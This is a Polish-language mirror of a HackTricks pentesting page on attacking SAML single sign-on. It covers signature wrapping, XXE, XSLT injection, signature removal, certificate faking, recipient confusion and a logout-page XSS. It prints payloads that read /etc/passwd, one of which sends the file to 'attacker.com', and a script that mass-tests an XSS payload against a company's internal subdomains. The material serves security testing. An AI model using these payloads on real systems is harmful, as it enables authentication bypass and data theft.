mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 13:13:41 +00:00

History

Translator workflow 5e0daf0e23 Translated to Polish		2024-02-11 01:46:25 +00:00
..
README.md	Translated to Polish	2024-02-11 01:46:25 +00:00
saml-basics.md	Translated to Polish	2024-02-11 01:46:25 +00:00

README.md

Ataki SAML

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
Zdobądź oficjalne gadżety PEASS & HackTricks
Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.

Podstawowe informacje

{% content-ref url="saml-basics.md" %} saml-basics.md {% endcontent-ref %}

Narzędzie

SAMLExtractor: Narzędzie, które może przyjąć adres URL lub listę adresów URL i zwracać adres URL konsumujący SAML.

XML round-trip

W XML część podpisana XML jest zapisywana w pamięci, następnie wykonywane jest kodowanie/odkodowanie i sprawdzany jest podpis. Idealnie kodowanie/odkodowanie nie powinno zmieniać danych, ale w oparciu o ten scenariusz sprawdzane dane i oryginalne dane mogą się różnić.

Na przykład, sprawdź poniższy kod:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Uruchomienie programu przeciwko REXML 3.2.4 lub wcześniejszej wersji spowoduje wygenerowanie następującego wyniku:

First child in original doc: Y
First child after round-trip: Z

Tak REXML widział oryginalny dokument XML z powyższego programu:

A tak widział go po rundzie analizy i serializacji:

Aby uzyskać więcej informacji na temat podatności i jak jej nadużywać:

Ataki opakowujące podpis XML

W atakach opakowujących podpis XML (XSW) przeciwnicy wykorzystują podatność wynikającą z przetwarzania dokumentów XML w dwóch różnych fazach: walidacji podpisu i wywołania funkcji. Ataki te polegają na zmianie struktury dokumentu XML. Konkretnie, atakujący wstrzykuje sfałszowane elementy, które nie kompromitują ważności podpisu XML. Manipulacja ta ma na celu stworzenie rozbieżności między elementami analizowanymi przez logikę aplikacji a tymi sprawdzanymi przez moduł weryfikacji podpisu. W rezultacie, podczas gdy podpis XML pozostaje technicznie ważny i przechodzi weryfikację, logika aplikacji przetwarza fałszywe elementy. W rezultacie atakujący skutecznie omija ochronę integralności i uwierzytelnianie pochodzenia podpisu XML, umożliwiając wstrzyknięcie dowolnej treści bez wykrycia.

Następujące ataki opierają się na tym wpisie na blogu i tej pracy naukowej. Sprawdź je dla dalszych szczegółów.

XSW #1

Strategia: Dodanie nowego elementu nadrzędnego zawierającego podpis.
Konsekwencje: Walidator może się pomylić między prawidłowym "Response -> Assertion -> Subject" a "złowrogim nowym Response -> Assertion -> Subject" atakującego, co prowadzi do problemów z integralnością danych.

XSW #2

Różnica w porównaniu do XSW #1: Wykorzystuje odłączony podpis zamiast opakowującego podpis.
Konsekwencje: "Złowroga" struktura, podobna do XSW #1, ma na celu wprowadzenie w błąd logikę biznesową po sprawdzeniu integralności.

XSW #3

Strategia: Tworzenie złowrogiego Assertion na tym samym poziomie hierarchicznym co oryginalne twierdzenie.
Konsekwencje: Ma na celu wprowadzenie w błąd logikę biznesową, aby używała złośliwych danych.

XSW #4

Różnica w porównaniu do XSW #3: Oryginalne twierdzenie staje się dzieckiem zduplikowanego (złowrogiego) twierdzenia.
Konsekwencje: Podobnie jak XSW #3, ale bardziej agresywnie zmienia strukturę XML.

XSW #5

Unikalny aspekt: Ani Podpis, ani oryginalne Twierdzenie nie przestrzegają standardowych konfiguracji (opakowane/opakowujące/odłączone).
Konsekwencje: Skopiowane Twierdzenie otacza Podpis, modyfikując oczekiwaną strukturę dokumentu.

XSW #6

Strategia: Podobne umieszczenie jak w XSW #4 i #5, ale z pewnym zaskoczeniem.
Konsekwencje: Skopiowane Twierdzenie otacza Podpis, który następnie otacza oryginalne Twierdzenie, tworząc zagnieżdżoną strukturę wprowadzającą w błąd.

XSW #7

Strategia: Wstawienie elementu Rozszerzenia z złośliwym Twierdzeniem jako dzieckiem.
Konsekwencje: Wykorzystuje mniej restrykcyjny schemat elementu Rozszerzenia w celu obejścia przeciwdziałających walidacji schematu, zwłaszcza w bibliotekach takich jak OpenSAML.

XSW #8

Różnica w porównaniu do XSW #7: Wykorzystuje inny, mniej restrykcyjny element XML dla wariantu ataku.
Konsekwencje: Oryginalne Twierdzenie staje się dzieckiem mniej restrykcyjnego elementu, odwracając strukturę używaną w XSW #7.

Narzędzie

Możesz użyć rozszerzenia Burp SAML Raider, aby przeanalizować żądanie, zastosować wybrany atak XSW i go uruchomić.

XXE

Jeśli nie wiesz, jakie są ataki XXE, przeczytaj następującą stronę:

{% content-ref url="../xxe-xee-xml-external-entity.md" %} xxe-xee-xml-external-entity.md {% endcontent-ref %}

Odpowiedzi SAML są skompresowanymi i zakodowanymi w formacie base64 dokumentami XML i mogą być podatne na ataki zewnętrznych jednostek XML (XXE). Poprzez manipulację strukturą XML odpowiedzi SAML, atakujący mogą próbować wykorzystać podatności XXE. Oto, jak taki atak może być zobrazowany:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Narzędzia

Możesz również użyć rozszerzenia Burp SAML Raider do generowania POC z żądania SAML w celu przetestowania możliwych podatności XXE i podatności SAML.

Sprawdź również tę prezentację: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT poprzez SAML

Aby uzyskać więcej informacji na temat XSLT, przejdź do:

{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {% endcontent-ref %}

Rozszerzalny język transformacji arkuszy stylów (XSLT) może być używany do przekształcania dokumentów XML na różne formaty, takie jak HTML, JSON lub PDF. Ważne jest zauważenie, że transformacje XSLT są wykonywane przed weryfikacją cyfrowego podpisu. Oznacza to, że atak może być udany nawet bez ważnego podpisu; wystarczający jest samopodpisany lub nieważny podpis.

Tutaj znajdziesz POC do sprawdzenia tego rodzaju podatności, na stronie hacktricks, o której mowa na początku tej sekcji, znajdziesz przykładowe dane wejściowe.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Narzędzie

Możesz również użyć rozszerzenia Burp o nazwie SAML Raider, aby wygenerować POC z żądania SAML w celu przetestowania możliwych podatności XSLT.

Sprawdź również tę prezentację: https://www.youtube.com/watch?v=WHn-6xHL7mI

Wykluczenie podpisu XML

Wykluczenie podpisu XML obserwuje zachowanie implementacji SAML, gdy element podpisu nie jest obecny. Jeśli ten element jest brakujący, weryfikacja podpisu może nie wystąpić, co czyni go podatnym. Można to przetestować, zmieniając zawartość, która zwykle jest weryfikowana przez podpis.

Narzędzie

Możesz również użyć rozszerzenia Burp o nazwie SAML Raider. Przechwyć odpowiedź SAML i kliknij „Usuń podpisy”. W ten sposób usuwane są wszystkie elementy podpisu.

Po usunięciu podpisów, pozwól na przetworzenie żądania do celu. Jeśli podpis nie jest wymagany przez usługę

Fałszowanie certyfikatu

Fałszowanie certyfikatu to technika testowania, czy Usługodawca (SP) prawidłowo weryfikuje, czy wiadomość SAML jest podpisana przez zaufanego dostawcę tożsamości (IdP). Polega na użyciu samopodpisanego certyfikatu do podpisania odpowiedzi SAML lub twierdzenia, co pomaga w ocenie procesu walidacji zaufania między SP a IdP.

Jak przeprowadzić fałszowanie certyfikatu

Poniższe kroki opisują proces za pomocą rozszerzenia Burp o nazwie SAML Raider:

Przechwyć odpowiedź SAML.
Jeśli odpowiedź zawiera podpis, wyślij certyfikat do SAML Raider Certs, korzystając z przycisku „Wyślij certyfikat do SAML Raider Certs”.
W zakładce SAML Raider Certificates wybierz zaimportowany certyfikat i kliknij „Zapisz i podpisz samodzielnie”, aby utworzyć samopodpisaną kopię oryginalnego certyfikatu.
Wróć do przechwyconego żądania w Proxy Burp. Wybierz nowy samopodpisany certyfikat z listy rozwijanej XML Signature.
Usuń istniejące podpisy za pomocą przycisku „Usuń podpisy”.
Podpisz wiadomość lub twierdzenie nowym certyfikatem, używając odpowiedniego przycisku „(Ponownie) Podpisz wiadomość” lub „(Ponownie) Podpisz twierdzenie”.
Prześlij podpisaną wiadomość. Pomyślne uwierzytelnienie oznacza, że SP akceptuje wiadomości podpisane przez twój samopodpisany certyfikat, ujawniając potencjalne podatności w procesie walidacji wiadomości SAML.

Zamieszanie w odbiorcy tokena / Zamieszanie w docelowym dostawcy usług

Zamieszanie w odbiorcy tokena (SAML-TRC) i zamieszanie w docelowym dostawcy usług dotyczą sprawdzenia, czy Usługodawca prawidłowo weryfikuje zamierzony odbiorcę odpowiedzi. W zasadzie, Usługodawca powinien odrzucić odpowiedź uwierzytelniającą, jeśli była przeznaczona dla innego dostawcy. Kluczowym elementem tutaj jest pole Odbiorca, znajdujące się w elemencie SubjectConfirmationData odpowiedzi SAML. To pole określa adres URL wskazujący, gdzie należy wysłać twierdzenie. Jeśli rzeczywisty odbiorca nie odpowiada zamierzonemu dostawcy usług, twierdzenie powinno zostać uznane za nieprawidłowe.

Jak to działa

Aby atak SAML Token Recipient Confusion (SAML-TRC) był wykonalny, muszą być spełnione pewne warunki. Po pierwsze, na Usługodawcy musi istnieć prawidłowe konto (o nazwie SP-Legit). Po drugie, docelowy dostawca usług (SP-Target) musi akceptować tokeny od tego samego dostawcy tożsamości, który obsługuje SP-Legit.

Proces ataku jest prosty w tych warunkach. Rozpoczyna się autentyczna sesja z SP-Legit za pośrednictwem wspólnego dostawcy tożsamości. Przechwycona odpowiedź SAML od dostawcy tożsamości do SP-Legit jest następnie przekierowywana do SP-Target. Sukces w tym ataku mierzy się poprzez akceptację twierdzenia przez SP-Target, co umożliwia dostęp do zasobów przy użyciu tej samej nazwy konta, która została użyta dla SP-Legit.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS w funkcjonalności wylogowywania

Oryginalne badania można znaleźć pod tym linkiem.

Podczas procesu brutalnego przeszukiwania katalogów, odkryto stronę wylogowywania pod adresem:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Po wejściu na ten link nastąpiło przekierowanie na:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

To ujawniło, że parametr base akceptuje adres URL. W związku z tym, pojawił się pomysł podstawienia adresu URL na javascript:alert(123); w celu przeprowadzenia ataku XSS (Cross-Site Scripting).

Masowa eksploatacja

Z tej publikacji:

Do analizy subdomen uberinternal.com w poszukiwaniu domen korzystających z tej samej biblioteki zostało użyte narzędzie SAMLExtractor. Następnie został opracowany skrypt, który celuje w stronę oidauth/prompt. Skrypt ten testuje podatność na XSS (Cross-Site Scripting), wprowadzając dane i sprawdzając, czy są one odzwierciedlane w wyniku. W przypadku, gdy dane są odzwierciedlane, skrypt oznacza stronę jako podatną.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Odwołania

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
Zdobądź oficjalne gadżety PEASS & HackTricks
Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.